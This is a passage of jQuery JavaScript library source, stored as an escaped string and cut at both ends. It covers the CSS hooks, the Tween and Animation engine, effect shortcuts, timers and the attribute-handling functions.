||\n\t\t\t\telem.getBoundingClientRect().left -\n\t\t\t\t\tswap( elem, { marginLeft: 0 }, function() {\n\t\t\t\t\t\treturn elem.getBoundingClientRect().left;\n\t\t\t\t\t} )\n\t\t\t\t) + \"px\";\n\t\t}\n\t}\n);\n\n// Support: Android 2.3\njQuery.cssHooks.marginRight = addGetHookIf( support.reliableMarginRight,\n\tfunction( elem, computed ) {\n\t\tif ( computed ) {\n\t\t\treturn swap( elem, { \"display\": \"inline-block\" },\n\t\t\t\tcurCSS, [ elem, \"marginRight\" ] );\n\t\t}\n\t}\n);\n\n// These hooks are used by animate to expand properties\njQuery.each( {\n\tmargin: \"\",\n\tpadding: \"\",\n\tborder: \"Width\"\n}, function( prefix, suffix ) {\n\tjQuery.cssHooks[ prefix + suffix ] = {\n\t\texpand: function( value ) {\n\t\t\tvar i = 0,\n\t\t\t\texpanded = {},\n\n\t\t\t\t// Assumes a single number if not a string\n\t\t\t\tparts = typeof value === \"string\" ? value.split( \" \" ) : [ value ];\n\n\t\t\tfor ( ; i < 4; i++ ) {\n\t\t\t\texpanded[ prefix + cssExpand[ i ] + suffix ] =\n\t\t\t\t\tparts[ i ] || parts[ i - 2 ] || parts[ 0 ];\n\t\t\t}\n\n\t\t\treturn expanded;\n\t\t}\n\t};\n\n\tif ( !rmargin.test( prefix ) ) {\n\t\tjQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;\n\t}\n} );\n\njQuery.fn.extend( {\n\tcss: function( name, value ) {\n\t\treturn access( this, function( elem, name, value ) {\n\t\t\tvar styles, len,\n\t\t\t\tmap = {},\n\t\t\t\ti = 0;\n\n\t\t\tif ( jQuery.isArray( name ) ) {\n\t\t\t\tstyles = getStyles( elem );\n\t\t\t\tlen = name.length;\n\n\t\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\t\tmap[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );\n\t\t\t\t}\n\n\t\t\t\treturn map;\n\t\t\t}\n\n\t\t\treturn value !== undefined ?\n\t\t\t\tjQuery.style( elem, name, value ) :\n\t\t\t\tjQuery.css( elem, name );\n\t\t}, name, value, arguments.length > 1 );\n\t},\n\tshow: function() {\n\t\treturn showHide( this, true );\n\t},\n\thide: function() {\n\t\treturn showHide( this );\n\t},\n\ttoggle: function( state ) {\n\t\tif ( typeof state === \"boolean\" ) {\n\t\t\treturn state ? this.show() : this.hide();\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tif ( isHidden( this ) ) {\n\t\t\t\tjQuery( this ).show();\n\t\t\t} else {\n\t\t\t\tjQuery( this ).hide();\n\t\t\t}\n\t\t} );\n\t}\n} );\n\n\nfunction Tween( elem, options, prop, end, easing ) {\n\treturn new Tween.prototype.init( elem, options, prop, end, easing );\n}\njQuery.Tween = Tween;\n\nTween.prototype = {\n\tconstructor: Tween,\n\tinit: function( elem, options, prop, end, easing, unit ) {\n\t\tthis.elem = elem;\n\t\tthis.prop = prop;\n\t\tthis.easing = easing || jQuery.easing._default;\n\t\tthis.options = options;\n\t\tthis.start = this.now = this.cur();\n\t\tthis.end = end;\n\t\tthis.unit = unit || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" );\n\t},\n\tcur: function() {\n\t\tvar hooks = Tween.propHooks[ this.prop ];\n\n\t\treturn hooks && hooks.get ?\n\t\t\thooks.get( this ) :\n\t\t\tTween.propHooks._default.get( this );\n\t},\n\trun: function( percent ) {\n\t\tvar eased,\n\t\t\thooks = Tween.propHooks[ this.prop ];\n\n\t\tif ( this.options.duration ) {\n\t\t\tthis.pos = eased = jQuery.easing[ this.easing ](\n\t\t\t\tpercent, this.options.duration * percent, 0, 1, this.options.duration\n\t\t\t);\n\t\t} else {\n\t\t\tthis.pos = eased = percent;\n\t\t}\n\t\tthis.now = ( this.end - this.start ) * eased + this.start;\n\n\t\tif ( this.options.step ) {\n\t\t\tthis.options.step.call( this.elem, this.now, this );\n\t\t}\n\n\t\tif ( hooks && hooks.set ) {\n\t\t\thooks.set( this );\n\t\t} else {\n\t\t\tTween.propHooks._default.set( this );\n\t\t}\n\t\treturn this;\n\t}\n};\n\nTween.prototype.init.prototype = Tween.prototype;\n\nTween.propHooks = {\n\t_default: {\n\t\tget: function( tween ) {\n\t\t\tvar result;\n\n\t\t\t// Use a property on the element directly when it is not a DOM element,\n\t\t\t// or when there is no matching style property that exists.\n\t\t\tif ( tween.elem.nodeType !== 1 ||\n\t\t\t\ttween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {\n\t\t\t\treturn tween.elem[ tween.prop ];\n\t\t\t}\n\n\t\t\t// Passing an empty string as a 3rd parameter to .css will automatically\n\t\t\t// attempt a parseFloat and fallback to a string if the parse fails.\n\t\t\t// Simple values such as \"10px\" are parsed to Float;\n\t\t\t// complex values such as \"rotate(1rad)\" are returned as-is.\n\t\t\tresult = jQuery.css( tween.elem, tween.prop, \"\" );\n\n\t\t\t// Empty strings, null, undefined and \"auto\" are converted to 0.\n\t\t\treturn !result || result === \"auto\" ? 0 : result;\n\t\t},\n\t\tset: function( tween ) {\n\n\t\t\t// Use step hook for back compat.\n\t\t\t// Use cssHook if its there.\n\t\t\t// Use .style if available and use plain properties where available.\n\t\t\tif ( jQuery.fx.step[ tween.prop ] ) {\n\t\t\t\tjQuery.fx.step[ tween.prop ]( tween );\n\t\t\t} else if ( tween.elem.nodeType === 1 &&\n\t\t\t\t( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null ||\n\t\t\t\t\tjQuery.cssHooks[ tween.prop ] ) ) {\n\t\t\t\tjQuery.style( tween.elem, tween.prop, tween.now + tween.unit );\n\t\t\t} else {\n\t\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t\t}\n\t\t}\n\t}\n};\n\n// Support: IE9\n// Panic based approach to setting things on disconnected nodes\nTween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {\n\tset: function( tween ) {\n\t\tif ( tween.elem.nodeType && tween.elem.parentNode ) {\n\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t}\n\t}\n};\n\njQuery.easing = {\n\tlinear: function( p ) {\n\t\treturn p;\n\t},\n\tswing: function( p ) {\n\t\treturn 0.5 - Math.cos( p * Math.PI ) / 2;\n\t},\n\t_default: \"swing\"\n};\n\njQuery.fx = Tween.prototype.init;\n\n// Back Compat <1.8 extension point\njQuery.fx.step = {};\n\n\n\n\nvar\n\tfxNow, timerId,\n\trfxtypes = /^(?:toggle|show|hide)$/,\n\trrun = /queueHooks$/;\n\n// Animations created synchronously will run synchronously\nfunction createFxNow() {\n\twindow.setTimeout( function() {\n\t\tfxNow = undefined;\n\t} );\n\treturn ( fxNow = jQuery.now() );\n}\n\n// Generate parameters to create a standard animation\nfunction genFx( type, includeWidth ) {\n\tvar which,\n\t\ti = 0,\n\t\tattrs = { height: type };\n\n\t// If we include width, step value is 1 to do all cssExpand values,\n\t// otherwise step value is 2 to skip over Left and Right\n\tincludeWidth = includeWidth ? 1 : 0;\n\tfor ( ; i < 4 ; i += 2 - includeWidth ) {\n\t\twhich = cssExpand[ i ];\n\t\tattrs[ \"margin\" + which ] = attrs[ \"padding\" + which ] = type;\n\t}\n\n\tif ( includeWidth ) {\n\t\tattrs.opacity = attrs.width = type;\n\t}\n\n\treturn attrs;\n}\n\nfunction createTween( value, prop, animation ) {\n\tvar tween,\n\t\tcollection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ \"*\" ] ),\n\t\tindex = 0,\n\t\tlength = collection.length;\n\tfor ( ; index < length; index++ ) {\n\t\tif ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {\n\n\t\t\t// We're done with this property\n\t\t\treturn tween;\n\t\t}\n\t}\n}\n\nfunction defaultPrefilter( elem, props, opts ) {\n\t/* jshint validthis: true */\n\tvar prop, value, toggle, tween, hooks, oldfire, display, checkDisplay,\n\t\tanim = this,\n\t\torig = {},\n\t\tstyle = elem.style,\n\t\thidden = elem.nodeType && isHidden( elem ),\n\t\tdataShow = dataPriv.get( elem, \"fxshow\" );\n\n\t// Handle queue: false promises\n\tif ( !opts.queue ) {\n\t\thooks = jQuery._queueHooks( elem, \"fx\" );\n\t\tif ( hooks.unqueued == null ) {\n\t\t\thooks.unqueued = 0;\n\t\t\toldfire = hooks.empty.fire;\n\t\t\thooks.empty.fire = function() {\n\t\t\t\tif ( !hooks.unqueued ) {\n\t\t\t\t\toldfire();\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t\thooks.unqueued++;\n\n\t\tanim.always( function() {\n\n\t\t\t// Ensure the complete handler is called before this completes\n\t\t\tanim.always( function() {\n\t\t\t\thooks.unqueued--;\n\t\t\t\tif ( !jQuery.queue( elem, \"fx\" ).length ) {\n\t\t\t\t\thooks.empty.fire();\n\t\t\t\t}\n\t\t\t} );\n\t\t} );\n\t}\n\n\t// Height/width overflow pass\n\tif ( elem.nodeType === 1 && ( \"height\" in props || \"width\" in props ) ) {\n\n\t\t// Make sure that nothing sneaks out\n\t\t// Record all 3 overflow attributes because IE9-10 do not\n\t\t// change the overflow attribute when overflowX and\n\t\t// overflowY are set to the same value\n\t\topts.overflow = [ style.overflow, style.overflowX, style.overflowY ];\n\n\t\t// Set display property to inline-block for height/width\n\t\t// animations on inline elements that are having width/height animated\n\t\tdisplay = jQuery.css( elem, \"display\" );\n\n\t\t// Test default display if display is currently \"none\"\n\t\tcheckDisplay = display === \"none\" ?\n\t\t\tdataPriv.get( elem, \"olddisplay\" ) || defaultDisplay( elem.nodeName ) : display;\n\n\t\tif ( checkDisplay === \"inline\" && jQuery.css( elem, \"float\" ) === \"none\" ) {\n\t\t\tstyle.display = \"inline-block\";\n\t\t}\n\t}\n\n\tif ( opts.overflow ) {\n\t\tstyle.overflow = \"hidden\";\n\t\tanim.always( function() {\n\t\t\tstyle.overflow = opts.overflow[ 0 ];\n\t\t\tstyle.overflowX = opts.overflow[ 1 ];\n\t\t\tstyle.overflowY = opts.overflow[ 2 ];\n\t\t} );\n\t}\n\n\t// show/hide pass\n\tfor ( prop in props ) {\n\t\tvalue = props[ prop ];\n\t\tif ( rfxtypes.exec( value ) ) {\n\t\t\tdelete props[ prop ];\n\t\t\ttoggle = toggle || value === \"toggle\";\n\t\t\tif ( value === ( hidden ? \"hide\" : \"show\" ) ) {\n\n\t\t\t\t// If there is dataShow left over from a stopped hide or show\n\t\t\t\t// and we are going to proceed with show, we should pretend to be hidden\n\t\t\t\tif ( value === \"show\" && dataShow && dataShow[ prop ] !== undefined ) {\n\t\t\t\t\thidden = true;\n\t\t\t\t} else {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\torig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );\n\n\t\t// Any non-fx value stops us from restoring the original display value\n\t\t} else {\n\t\t\tdisplay = undefined;\n\t\t}\n\t}\n\n\tif ( !jQuery.isEmptyObject( orig ) ) {\n\t\tif ( dataShow ) {\n\t\t\tif ( \"hidden\" in dataShow ) {\n\t\t\t\thidden = dataShow.hidden;\n\t\t\t}\n\t\t} else {\n\t\t\tdataShow = dataPriv.access( elem, \"fxshow\", {} );\n\t\t}\n\n\t\t// Store state if its toggle - enables .stop().toggle() to \"reverse\"\n\t\tif ( toggle ) {\n\t\t\tdataShow.hidden = !hidden;\n\t\t}\n\t\tif ( hidden ) {\n\t\t\tjQuery( elem ).show();\n\t\t} else {\n\t\t\tanim.done( function() {\n\t\t\t\tjQuery( elem ).hide();\n\t\t\t} );\n\t\t}\n\t\tanim.done( function() {\n\t\t\tvar prop;\n\n\t\t\tdataPriv.remove( elem, \"fxshow\" );\n\t\t\tfor ( prop in orig ) {\n\t\t\t\tjQuery.style( elem, prop, orig[ prop ] );\n\t\t\t}\n\t\t} );\n\t\tfor ( prop in orig ) {\n\t\t\ttween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );\n\n\t\t\tif ( !( prop in dataShow ) ) {\n\t\t\t\tdataShow[ prop ] = tween.start;\n\t\t\t\tif ( hidden ) {\n\t\t\t\t\ttween.end = tween.start;\n\t\t\t\t\ttween.start = prop === \"width\" || prop === \"height\" ? 1 : 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t// If this is a noop like .hide().hide(), restore an overwritten display value\n\t} else if ( ( display === \"none\" ? defaultDisplay( elem.nodeName ) : display ) === \"inline\" ) {\n\t\tstyle.display = display;\n\t}\n}\n\nfunction propFilter( props, specialEasing ) {\n\tvar index, name, easing, value, hooks;\n\n\t// camelCase, specialEasing and expand cssHook pass\n\tfor ( index in props ) {\n\t\tname = jQuery.camelCase( index );\n\t\teasing = specialEasing[ name ];\n\t\tvalue = props[ index ];\n\t\tif ( jQuery.isArray( value ) ) {\n\t\t\teasing = value[ 1 ];\n\t\t\tvalue = props[ index ] = value[ 0 ];\n\t\t}\n\n\t\tif ( index !== name ) {\n\t\t\tprops[ name ] = value;\n\t\t\tdelete props[ index ];\n\t\t}\n\n\t\thooks = jQuery.cssHooks[ name ];\n\t\tif ( hooks && \"expand\" in hooks ) {\n\t\t\tvalue = hooks.expand( value );\n\t\t\tdelete props[ name ];\n\n\t\t\t// Not quite $.extend, this won't overwrite existing keys.\n\t\t\t// Reusing 'index' because we have the correct \"name\"\n\t\t\tfor ( index in value ) {\n\t\t\t\tif ( !( index in props ) ) {\n\t\t\t\t\tprops[ index ] = value[ index ];\n\t\t\t\t\tspecialEasing[ index ] = easing;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tspecialEasing[ name ] = easing;\n\t\t}\n\t}\n}\n\nfunction Animation( elem, properties, options ) {\n\tvar result,\n\t\tstopped,\n\t\tindex = 0,\n\t\tlength = Animation.prefilters.length,\n\t\tdeferred = jQuery.Deferred().always( function() {\n\n\t\t\t// Don't match elem in the :animated selector\n\t\t\tdelete tick.elem;\n\t\t} ),\n\t\ttick = function() {\n\t\t\tif ( stopped ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tvar currentTime = fxNow || createFxNow(),\n\t\t\t\tremaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),\n\n\t\t\t\t// Support: Android 2.3\n\t\t\t\t// Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)\n\t\t\t\ttemp = remaining / animation.duration || 0,\n\t\t\t\tpercent = 1 - temp,\n\t\t\t\tindex = 0,\n\t\t\t\tlength = animation.tweens.length;\n\n\t\t\tfor ( ; index < length ; index++ ) {\n\t\t\t\tanimation.tweens[ index ].run( percent );\n\t\t\t}\n\n\t\t\tdeferred.notifyWith( elem, [ animation, percent, remaining ] );\n\n\t\t\tif ( percent < 1 && length ) {\n\t\t\t\treturn remaining;\n\t\t\t} else {\n\t\t\t\tdeferred.resolveWith( elem, [ animation ] );\n\t\t\t\treturn false;\n\t\t\t}\n\t\t},\n\t\tanimation = deferred.promise( {\n\t\t\telem: elem,\n\t\t\tprops: jQuery.extend( {}, properties ),\n\t\t\topts: jQuery.extend( true, {\n\t\t\t\tspecialEasing: {},\n\t\t\t\teasing: jQuery.easing._default\n\t\t\t}, options ),\n\t\t\toriginalProperties: properties,\n\t\t\toriginalOptions: options,\n\t\t\tstartTime: fxNow || createFxNow(),\n\t\t\tduration: options.duration,\n\t\t\ttweens: [],\n\t\t\tcreateTween: function( prop, end ) {\n\t\t\t\tvar tween = jQuery.Tween( elem, animation.opts, prop, end,\n\t\t\t\t\t\tanimation.opts.specialEasing[ prop ] || animation.opts.easing );\n\t\t\t\tanimation.tweens.push( tween );\n\t\t\t\treturn tween;\n\t\t\t},\n\t\t\tstop: function( gotoEnd ) {\n\t\t\t\tvar index = 0,\n\n\t\t\t\t\t// If we are going to the end, we want to run all the tweens\n\t\t\t\t\t// otherwise we skip this part\n\t\t\t\t\tlength = gotoEnd ? animation.tweens.length : 0;\n\t\t\t\tif ( stopped ) {\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t\tstopped = true;\n\t\t\t\tfor ( ; index < length ; index++ ) {\n\t\t\t\t\tanimation.tweens[ index ].run( 1 );\n\t\t\t\t}\n\n\t\t\t\t// Resolve when we played the last frame; otherwise, reject\n\t\t\t\tif ( gotoEnd ) {\n\t\t\t\t\tdeferred.notifyWith( elem, [ animation, 1, 0 ] );\n\t\t\t\t\tdeferred.resolveWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t} else {\n\t\t\t\t\tdeferred.rejectWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t}\n\t\t} ),\n\t\tprops = animation.props;\n\n\tpropFilter( props, animation.opts.specialEasing );\n\n\tfor ( ; index < length ; index++ ) {\n\t\tresult = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );\n\t\tif ( result ) {\n\t\t\tif ( jQuery.isFunction( result.stop ) ) {\n\t\t\t\tjQuery._queueHooks( animation.elem, animation.opts.queue ).stop =\n\t\t\t\t\tjQuery.proxy( result.stop, result );\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\n\tjQuery.map( props, createTween, animation );\n\n\tif ( jQuery.isFunction( animation.opts.start ) ) {\n\t\tanimation.opts.start.call( elem, animation );\n\t}\n\n\tjQuery.fx.timer(\n\t\tjQuery.extend( tick, {\n\t\t\telem: elem,\n\t\t\tanim: animation,\n\t\t\tqueue: animation.opts.queue\n\t\t} )\n\t);\n\n\t// attach callbacks from options\n\treturn animation.progress( animation.opts.progress )\n\t\t.done( animation.opts.done, animation.opts.complete )\n\t\t.fail( animation.opts.fail )\n\t\t.always( animation.opts.always );\n}\n\njQuery.Animation = jQuery.extend( Animation, {\n\ttweeners: {\n\t\t\"*\": [ function( prop, value ) {\n\t\t\tvar tween = this.createTween( prop, value );\n\t\t\tadjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );\n\t\t\treturn tween;\n\t\t} ]\n\t},\n\n\ttweener: function( props, callback ) {\n\t\tif ( jQuery.isFunction( props ) ) {\n\t\t\tcallback = props;\n\t\t\tprops = [ \"*\" ];\n\t\t} else {\n\t\t\tprops = props.match( rnotwhite );\n\t\t}\n\n\t\tvar prop,\n\t\t\tindex = 0,\n\t\t\tlength = props.length;\n\n\t\tfor ( ; index < length ; index++ ) {\n\t\t\tprop = props[ index ];\n\t\t\tAnimation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];\n\t\t\tAnimation.tweeners[ prop ].unshift( callback );\n\t\t}\n\t},\n\n\tprefilters: [ defaultPrefilter ],\n\n\tprefilter: function( callback, prepend ) {\n\t\tif ( prepend ) {\n\t\t\tAnimation.prefilters.unshift( callback );\n\t\t} else {\n\t\t\tAnimation.prefilters.push( callback );\n\t\t}\n\t}\n} );\n\njQuery.speed = function( speed, easing, fn ) {\n\tvar opt = speed && typeof speed === \"object\" ? jQuery.extend( {}, speed ) : {\n\t\tcomplete: fn || !fn && easing ||\n\t\t\tjQuery.isFunction( speed ) && speed,\n\t\tduration: speed,\n\t\teasing: fn && easing || easing && !jQuery.isFunction( easing ) && easing\n\t};\n\n\topt.duration = jQuery.fx.off ? 0 : typeof opt.duration === \"number\" ?\n\t\topt.duration : opt.duration in jQuery.fx.speeds ?\n\t\t\tjQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;\n\n\t// Normalize opt.queue - true/undefined/null -> \"fx\"\n\tif ( opt.queue == null || opt.queue === true ) {\n\t\topt.queue = \"fx\";\n\t}\n\n\t// Queueing\n\topt.old = opt.complete;\n\n\topt.complete = function() {\n\t\tif ( jQuery.isFunction( opt.old ) ) {\n\t\t\topt.old.call( this );\n\t\t}\n\n\t\tif ( opt.queue ) {\n\t\t\tjQuery.dequeue( this, opt.queue );\n\t\t}\n\t};\n\n\treturn opt;\n};\n\njQuery.fn.extend( {\n\tfadeTo: function( speed, to, easing, callback ) {\n\n\t\t// Show any hidden elements after setting opacity to 0\n\t\treturn this.filter( isHidden ).css( \"opacity\", 0 ).show()\n\n\t\t\t// Animate to the value specified\n\t\t\t.end().animate( { opacity: to }, speed, easing, callback );\n\t},\n\tanimate: function( prop, speed, easing, callback ) {\n\t\tvar empty = jQuery.isEmptyObject( prop ),\n\t\t\toptall = jQuery.speed( speed, easing, callback ),\n\t\t\tdoAnimation = function() {\n\n\t\t\t\t// Operate on a copy of prop so per-property easing won't be lost\n\t\t\t\tvar anim = Animation( this, jQuery.extend( {}, prop ), optall );\n\n\t\t\t\t// Empty animations, or finishing resolves immediately\n\t\t\t\tif ( empty || dataPriv.get( this, \"finish\" ) ) {\n\t\t\t\t\tanim.stop( true );\n\t\t\t\t}\n\t\t\t};\n\t\t\tdoAnimation.finish = doAnimation;\n\n\t\treturn empty || optall.queue === false ?\n\t\t\tthis.each( doAnimation ) :\n\t\t\tthis.queue( optall.queue, doAnimation );\n\t},\n\tstop: function( type, clearQueue, gotoEnd ) {\n\t\tvar stopQueue = function( hooks ) {\n\t\t\tvar stop = hooks.stop;\n\t\t\tdelete hooks.stop;\n\t\t\tstop( gotoEnd );\n\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tgotoEnd = clearQueue;\n\t\t\tclearQueue = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\tif ( clearQueue && type !== false ) {\n\t\t\tthis.queue( type || \"fx\", [] );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar dequeue = true,\n\t\t\t\tindex = type != null && type + \"queueHooks\",\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tdata = dataPriv.get( this );\n\n\t\t\tif ( index ) {\n\t\t\t\tif ( data[ index ] && data[ index ].stop ) {\n\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( index in data ) {\n\t\t\t\t\tif ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {\n\t\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this &&\n\t\t\t\t\t( type == null || timers[ index ].queue === type ) ) {\n\n\t\t\t\t\ttimers[ index ].anim.stop( gotoEnd );\n\t\t\t\t\tdequeue = false;\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Start the next in the queue if the last step wasn't forced.\n\t\t\t// Timers currently will call their complete callbacks, which\n\t\t\t// will dequeue but only if they were gotoEnd.\n\t\t\tif ( dequeue || !gotoEnd ) {\n\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t}\n\t\t} );\n\t},\n\tfinish: function( type ) {\n\t\tif ( type !== false ) {\n\t\t\ttype = type || \"fx\";\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tvar index,\n\t\t\t\tdata = dataPriv.get( this ),\n\t\t\t\tqueue = data[ type + \"queue\" ],\n\t\t\t\thooks = data[ type + \"queueHooks\" ],\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tlength = queue ? queue.length : 0;\n\n\t\t\t// Enable finishing flag on private data\n\t\t\tdata.finish = true;\n\n\t\t\t// Empty the queue first\n\t\t\tjQuery.queue( this, type, [] );\n\n\t\t\tif ( hooks && hooks.stop ) {\n\t\t\t\thooks.stop.call( this, true );\n\t\t\t}\n\n\t\t\t// Look for any active animations, and finish them\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this && timers[ index ].queue === type ) {\n\t\t\t\t\ttimers[ index ].anim.stop( true );\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Look for any animations in the old queue and finish them\n\t\t\tfor ( index = 0; index < length; index++ ) {\n\t\t\t\tif ( queue[ index ] && queue[ index ].finish ) {\n\t\t\t\t\tqueue[ index ].finish.call( this );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Turn off finishing flag\n\t\t\tdelete data.finish;\n\t\t} );\n\t}\n} );\n\njQuery.each( [ \"toggle\", \"show\", \"hide\" ], function( i, name ) {\n\tvar cssFn = jQuery.fn[ name ];\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn speed == null || typeof speed === \"boolean\" ?\n\t\t\tcssFn.apply( this, arguments ) :\n\t\t\tthis.animate( genFx( name, true ), speed, easing, callback );\n\t};\n} );\n\n// Generate shortcuts for custom animations\njQuery.each( {\n\tslideDown: genFx( \"show\" ),\n\tslideUp: genFx( \"hide\" ),\n\tslideToggle: genFx( \"toggle\" ),\n\tfadeIn: { opacity: \"show\" },\n\tfadeOut: { opacity: \"hide\" },\n\tfadeToggle: { opacity: \"toggle\" }\n}, function( name, props ) {\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn this.animate( props, speed, easing, callback );\n\t};\n} );\n\njQuery.timers = [];\njQuery.fx.tick = function() {\n\tvar timer,\n\t\ti = 0,\n\t\ttimers = jQuery.timers;\n\n\tfxNow = jQuery.now();\n\n\tfor ( ; i < timers.length; i++ ) {\n\t\ttimer = timers[ i ];\n\n\t\t// Checks the timer has not already been removed\n\t\tif ( !timer() && timers[ i ] === timer ) {\n\t\t\ttimers.splice( i--, 1 );\n\t\t}\n\t}\n\n\tif ( !timers.length ) {\n\t\tjQuery.fx.stop();\n\t}\n\tfxNow = undefined;\n};\n\njQuery.fx.timer = function( timer ) {\n\tjQuery.timers.push( timer );\n\tif ( timer() ) {\n\t\tjQuery.fx.start();\n\t} else {\n\t\tjQuery.timers.pop();\n\t}\n};\n\njQuery.fx.interval = 13;\njQuery.fx.start = function() {\n\tif ( !timerId ) {\n\t\ttimerId = window.setInterval( jQuery.fx.tick, jQuery.fx.interval );\n\t}\n};\n\njQuery.fx.stop = function() {\n\twindow.clearInterval( timerId );\n\n\ttimerId = null;\n};\n\njQuery.fx.speeds = {\n\tslow: 600,\n\tfast: 200,\n\n\t// Default speed\n\t_default: 400\n};\n\n\n// Based off of the plugin by Clint Helfers, with permission.\n// http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/\njQuery.fn.delay = function( time, type ) {\n\ttime = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;\n\ttype = type || \"fx\";\n\n\treturn this.queue( type, function( next, hooks ) {\n\t\tvar timeout = window.setTimeout( next, time );\n\t\thooks.stop = function() {\n\t\t\twindow.clearTimeout( timeout );\n\t\t};\n\t} );\n};\n\n\n( function() {\n\tvar input = document.createElement( \"input\" ),\n\t\tselect = document.createElement( \"select\" ),\n\t\topt = select.appendChild( document.createElement( \"option\" ) );\n\n\tinput.type = \"checkbox\";\n\n\t// Support: iOS<=5.1, Android<=4.2+\n\t// Default value for a checkbox should be \"on\"\n\tsupport.checkOn = input.value !== \"\";\n\n\t// Support: IE<=11+\n\t// Must access selectedIndex to make default options select\n\tsupport.optSelected = opt.selected;\n\n\t// Support: Android<=2.3\n\t// Options inside disabled selects are incorrectly marked as disabled\n\tselect.disabled = true;\n\tsupport.optDisabled = !opt.disabled;\n\n\t// Support: IE<=11+\n\t// An input loses its value after becoming a radio\n\tinput = document.createElement( \"input\" );\n\tinput.value = \"t\";\n\tinput.type = \"radio\";\n\tsupport.radioValue = input.value === \"t\";\n} )();\n\n\nvar boolHook,\n\tattrHandle = jQuery.expr.attrHandle;\n\njQuery.fn.extend( {\n\tattr: function( name, value ) {\n\t\treturn access( this, jQuery.attr, name, value, arguments.length > 1 );\n\t},\n\n\tremoveAttr: function( name ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.removeAttr( this, name );\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tattr: function( elem, name, value ) {\n\t\tvar ret, hooks,\n\t\t\tnType = elem.nodeType;\n\n\t\t// Don't get/set attributes on text, comment and attribute nodes\n\t\tif ( nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Fallback to prop when attributes are not supported\n\t\tif ( typeof elem.getAttribute === \"undefined\" ) {\n\t\t\treturn jQuery.prop( elem, name, value );\n\t\t}\n\n\t\t// All attributes are lowercase\n\t\t// Grab necessary hook if one is defined\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\t\t\tname = name.toLowerCase();\n\t\t\thooks = jQuery.attrHooks[ name ] ||\n\t\t\t\t( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( value === null ) {\n\t\t\t\tjQuery.removeAttr( elem, name );\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( hooks && \"set\" in hooks &&\n\t\t\t\t( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\telem.setAttribute( name, value + \"\" );\n\t\t\treturn value;\n\t\t}\n\n\t\tif ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\tret = jQuery.find.attr( elem, name );\n\n\t\t// Non-existent attributes return null, we normalize to undefined\n\t\treturn ret == null ? undefined : ret;\n\t},\n\n\tattrHooks: {\n\t\ttype: {\n\t\t\tset: function( elem, value ) {\n\t\t\t\tif ( !support.radioValue && value === \"radio\" &&\n\t\t\t\t\tjQuery.nodeName( elem, \"input\" ) ) {\n\t\t\t\t\tvar val = elem.value;\n\t\t\t\t\telem.setAttribute( \"type\", value );\n\t\t\t\t\tif ( val ) {\n\t\t\t\t\t\telem.value = val;\n\t\t\t\t\t}\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\tremoveAttr: function( elem, value ) {\n\t\tvar name, propName,\n\t\t\ti = 